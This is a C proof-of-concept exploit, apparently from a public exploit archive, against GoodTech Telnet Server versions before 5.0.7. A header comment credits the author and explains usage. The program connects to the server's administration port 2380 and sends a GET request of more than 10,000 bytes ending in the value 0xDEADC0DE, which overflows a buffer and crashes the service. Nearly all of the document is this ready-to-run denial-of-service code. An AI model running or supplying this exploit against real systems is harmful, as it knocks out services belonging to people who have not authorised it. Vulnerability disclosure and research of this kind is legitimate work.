GoodTech Telnet Server < 5.0.7 Buffer Overflow Crash Exploit

                                                /******************************************************************************************

	GoodTech Telnet Server Buffer Overflow Crash POC
	created by Komrade
	e-mail:	unsecure(at)altervista(dot)org
	web:	http://unsecure.altervista.org

	Tested on GoodTech Telnet Server versions 4.0 - 5.0 (versions prior to 5.0.7)
        on a Windows XP Professional sp2 operating system.

	This exploit connects to the Administration server of GoodTech Telnet Server
	(default port 2380) and sends a very long string (10040 bytes).
	After the exploit is sent the Telnet Server will crash, trying to access
	to a bad memory address: 0xDEADCODE.

	Usage: gtscrash.exe "IP address"

	Options:
	"IP address"	The IP address of the computer running GoodTech Telnet Server

*******************************************************************************************/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main(int argc, char **argv)
{

	SOCKET sock;
	struct sockaddr_in sock_addr;
	WSADATA data;
	WORD p;
	p=MAKEWORD(2,0);
	WSAStartup(p,&data);
	int i, n, err;
	unsigned char *mex;
	char risp[4096];

	printf("------------------------------------------------------------------------------\r\n");
	printf("\tGoodTech Telnet Server Buffer Overflow Crash POC\r\n");
	printf("\t\t\tcreated by Komrade\r\n\r\n");

	printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
	printf("\t\tweb: http://unsecure.altervista.org\r\n");
	printf("------------------------------------------------------------------------------\r\n\r\n");


	if (argc < 2){
		printf("Usage: gtscrash.exe \"IP address\"\r\n\r\n");
		printf("Options:\r\n");
		printf("IP address\tThe IP address of the computer running GoodTech Telnet Server\r\n");
		exit(0);
	}

	mex =(unsigned char *) LocalAlloc(LMEM_FIXED, 12000);

	sock = socket(AF_INET, SOCK_STREAM, 0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(2380); /* Administration web server port */
	sock_addr.sin_addr.s_addr= inet_addr(argv[1]);

	err = connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
	if(err<0){
		printf("Unable to connect() to %s\n", argv[1]);
		exit(-1);
	}

	strcpy (mex, "GET /");

	for(i = strlen(mex); i < 10032; i++)
		mex[i]= 'a';
	mex[i]=0;

	strcat(mex, "\xDE\xC0\xAD\xDE"); /* Invalid IP address */
	strcat(mex, "\r\n\r\n");

	printf("Sending %d bytes.....\n\n", strlen(mex));
	n=send(sock, mex , strlen(mex), 0);

	n=recv(sock, risp, sizeof(risp), 0);
	if (n < 0)
		printf("GoodTech Telnet Server succesfully crashed!!\n");
	else{
		risp[n]=0;
		printf("%s\n", risp);
	}

	closesocket(sock);
	WSACleanup();
	return 0;
}